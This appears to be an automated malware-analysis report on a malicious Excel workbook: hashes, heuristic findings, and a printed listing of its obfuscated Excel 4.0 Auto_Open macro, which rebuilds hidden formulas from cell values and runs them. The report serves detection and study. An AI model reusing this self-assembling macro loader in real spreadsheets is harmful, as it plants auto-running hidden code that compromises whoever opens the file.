Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fea4f0132b974ce6…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:47:04 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 4e2415ad6e0494e5a4f5d21a9381edfb SHA-1: 8dbaad7119212abcac393ea8065a908708811a24 SHA-256: fea4f0132b974ce6146b1bf366156240ce49b12ea406d6684b1e09ee474a5a35
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6454 bytes
SHA-256: 5a304f77b08858b99ec769577d3b20d51d8ee17b1ffc94cdc1ca900e02daae88
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Xmnvs
' 0018     25 LABEL : Cell Value, String Constant - adHtwmpQqC len=0 
' 0018     27 LABEL : Cell Value, String Constant - aIvkcWslZgZc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D162 
' 0018     24 LABEL : Cell Value, String Constant - cirYEMSIW len=0 
' 0018     22 LABEL : Cell Value, String Constant - dRSNpkm len=0 
' 0018     21 LABEL : Cell Value, String Constant - FIggbC len=0 
' 0018     27 LABEL : Cell Value, String Constant - FYIlgOhkQamS len=0 
' 0018     20 LABEL : Cell Value, String Constant - gAWcR len=0 
' 0018     27 LABEL : Cell Value, String Constant - GuyRgMQoVcdW len=0 
' 0018     24 LABEL : Cell Value, String Constant - KYMRHkXOl len=0 
' 0018     24 LABEL : Cell Value, String Constant - lXbIKQNBN len=0 
' 0018     22 LABEL : Cell Value, String Constant - mCyZHco len=0 
' 0018     27 LABEL : Cell Value, String Constant - MNokKahCsblD len=0 
' 0018     26 LABEL : Cell Value, String Constant - nFIpoAWwuLa len=0 
' 0018     22 LABEL : Cell Value, String Constant - ptWABAy len=0 
' 0018     20 LABEL : Cell Value, String Constant - wQnrs len=0 
' 0018     23 LABEL : Cell Value, String Constant - XNECGboz len=0 
' 0018     25 LABEL : Cell Value, String Constant - YkdUoCRFFJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ylUKQVI len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZbQjFpsZu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZjbVlhfv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Xmnvs,D63,"SET.NAME("ylUKQVI",VALUE("0"))",""
'  Xmnvs,D68,"SET.NAME("GuyRgMQoVcdW",ylUKQVI)",""
'  Xmnvs,D71,"SET.NAME("cirYEMSIW",ylUKQVI)",""
'  Xmnvs,D74,"SET.NAME("nFIpoAWwuLa",COUNTA(YkdUoCRFFJ))",""
'  Xmnvs,D77,"SET.NAME("dRSNpkm",COUNTA(ZjbVlhfv))",""
'  Xmnvs,D82,[],""
'  Xmnvs,D87,"SET.NAME("ZbQjFpsZu","")",""
'  Xmnvs,D92,"GuyRgMQoVcdW",""
'  Xmnvs,D97,"SET.NAME("MNokKahCsblD",HLOOKUP("*",YkdUoCRFFJ,GuyRgMQoVcdW,FALSE))",""
'  Xmnvs,D102,"mCyZHco",""
'  Xmnvs,D104,"SET.NAME("XNECGboz",ylUKQVI)",""
'  Xmnvs,D107,[],""
'  Xmnvs,D111,"XNECGboz",""
'  Xmnvs,D116,"aIvkcWslZgZc",""
'  Xmnvs,D118,"FIggbC",""
'  Xmnvs,D122,"gAWcR",""
'  Xmnvs,D126,"SET.NAME("lXbIKQNBN",VALUE(HLOOKUP("*",ZjbVlhfv,gAWcR,FALSE)))",""
'  Xmnvs,D130,"KYMRHkXOl",""
'  Xmnvs,D132,"ZbQjFpsZu",""
'  Xmnvs,D136,"cirYEMSIW",""
'  Xmnvs,D141,NEXT(),""
'  Xmnvs,D146,"FYIlgOhkQamS",""
'  Xmnvs,D149,"SET.NAME("f",INT(T(FORMULA(T(ZbQjFpsZu)&"",""&T(FYIlgOhkQamS)))))",""
'  Xmnvs,D151,"wQnrs",""
'  Xmnvs,D154,NEXT(),""
'  Xmnvs,D157,RETURN(),""
'  Xmnvs,D190,"SET.NAME("adHtwmpQqC",D63)",""
'  Xmnvs,D194,"YkdUoCRFFJ",""
'  Xmnvs,D198,"SET.NAME("ZjbVlhfv",R47C12)",""
'  Xmnvs,D203,"SET.NAME("wQnrs",212)",""
'  Xmnvs,D207,"SET.NAME("ptWABAy",4)",""
'  Xmnvs,D211,adHtwmpQqC(),""
'  Xmnvs,D212,HALT(),""